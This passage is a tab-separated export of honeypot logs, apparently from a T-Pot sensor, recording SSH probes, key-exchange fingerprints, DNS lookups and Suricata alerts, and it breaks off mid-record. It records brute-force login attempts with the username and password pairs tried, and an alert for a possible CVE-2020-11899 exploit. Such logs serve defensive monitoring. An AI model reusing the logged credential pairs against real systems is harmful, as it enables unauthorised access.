27403	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:08.013452+03	2021-09-20 14:15:14.533674+03	{"_id": "PwbpAnwBvYTbRNuEyidt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35706, "timestamp": "2021-09-20T11:14:08.013452", "@timestamp": "2021-09-20T11:14:08.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27404	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:12.265215+03	2021-09-20 14:15:14.534674+03	{"_id": "XAbpAnwBvYTbRNuE2ifO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [test1/123456] failed", "session": "b7f6b5e99a19", "@version": "1", "password": "123456", "username": "test1", "timestamp": "2021-09-20T11:14:12.265215Z", "@timestamp": "2021-09-20T11:14:12.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27405	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:13.597128+03	2021-09-20 14:15:14.535674+03	{"_id": "XQbpAnwBvYTbRNuE3ie3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "b7f6b5e99a19", "@version": "1", "duration": 6.586792230606079, "timestamp": "2021-09-20T11:14:13.597128Z", "@timestamp": "2021-09-20T11:14:13.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27408	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:16.586949+03	2021-09-20 14:15:14.539674+03	{"_id": "ZgbpAnwBvYTbRNuE6idv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "53eded6d5055", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:14:16.586949Z", "@timestamp": "2021-09-20T11:14:16.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27409	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:14:17.028025+03	2021-09-20 14:15:14.541647+03	{"_id": "aQbpAnwBvYTbRNuE7Cdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9583, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 887883238567289, "@version": "1", "in_iface": "enp5s0", "src_port": 47213, "dest_port": 53, "timestamp": "2021-09-20T11:14:17.028025Z", "@timestamp": "2021-09-20T11:14:17.028Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27410	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:16.587483+03	2021-09-20 14:15:14.542677+03	{"_id": "bAbpAnwBvYTbRNuE7Sea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34540, "timestamp": "2021-09-20T11:14:16.587483", "@timestamp": "2021-09-20T11:14:16.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27411	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.280411+03	2021-09-20 14:15:14.543675+03	{"_id": "kgbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.280411+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253158901595, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:14:21.280411Z", "@timestamp": "2021-09-20T11:14:21.280Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
27412	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:14:17.029713+03	2021-09-20 14:15:14.545678+03	{"_id": "aAbpAnwBvYTbRNuE7Cdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9583, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1789, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 887883238567289, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 47213, "timestamp": "2021-09-20T11:14:17.029713Z", "@timestamp": "2021-09-20T11:14:17.029Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27413	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:14:16.856426+03	2021-09-20 14:15:14.546674+03	{"_id": "agbpAnwBvYTbRNuE7Cdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1943150260704569, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34540, "dest_port": 22, "timestamp": "2021-09-20T11:14:16.856426Z", "@timestamp": "2021-09-20T11:14:16.856Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27414	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.279955+03	2021-09-20 14:15:14.547674+03	{"_id": "lQbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.279955+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751763150227, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:21.279955Z", "@timestamp": "2021-09-20T11:14:21.279Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27415	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.672179+03	2021-09-20 14:15:14.549676+03	{"_id": "lgbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.279955+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 480}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751763150227, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:21.672179Z", "@timestamp": "2021-09-20T11:14:21.672Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27416	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:14:27.38836+03	2021-09-20 14:15:14.550674+03	{"_id": "sAbqAnwBvYTbRNuEFSdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "83e37959834b", "@version": "1", "timestamp": "2021-09-20T11:14:27.388360Z", "@timestamp": "2021-09-20T11:14:27.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27417	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:14:27.384157+03	2021-09-20 14:15:14.551645+03	{"_id": "twbqAnwBvYTbRNuEFydl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "flow_id": 572147308388797, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 59320, "dest_port": 22, "timestamp": "2021-09-20T11:14:27.384157Z", "@timestamp": "2021-09-20T11:14:27.384Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27418	132.148.165.94	109.199.241.180	Fatt	2021-09-20 14:14:27.387681+03	2021-09-20 14:15:14.553645+03	{"_id": "uQbqAnwBvYTbRNuEGCeZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59320, "dest_port": 22, "timestamp": "2021-09-20T11:14:27.387681", "@timestamp": "2021-09-20T11:14:27.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27419	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:14:27.956293+03	2021-09-20 14:15:14.554674+03	{"_id": "ugbqAnwBvYTbRNuEGSdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.login.failed", "message": "login attempt [ada/123456] failed", "session": "83e37959834b", "@version": "1", "password": "123456", "username": "ada", "timestamp": "2021-09-20T11:14:27.956293Z", "@timestamp": "2021-09-20T11:14:27.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27420	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:14:29.082129+03	2021-09-20 14:15:14.556648+03	{"_id": "vAbqAnwBvYTbRNuEHSc_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "83e37959834b", "@version": "1", "duration": 1.809938669204712, "timestamp": "2021-09-20T11:14:29.082129Z", "@timestamp": "2021-09-20T11:14:29.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27421	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:31.066273+03	2021-09-20 14:15:14.557675+03	{"_id": "vQbqAnwBvYTbRNuEIyce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1527807596129229, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33350, "dest_port": 22, "timestamp": "2021-09-20T11:14:31.066273Z", "@timestamp": "2021-09-20T11:14:31.066Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27422	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:31.092662+03	2021-09-20 14:15:14.558677+03	{"_id": "vgbqAnwBvYTbRNuEJCdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 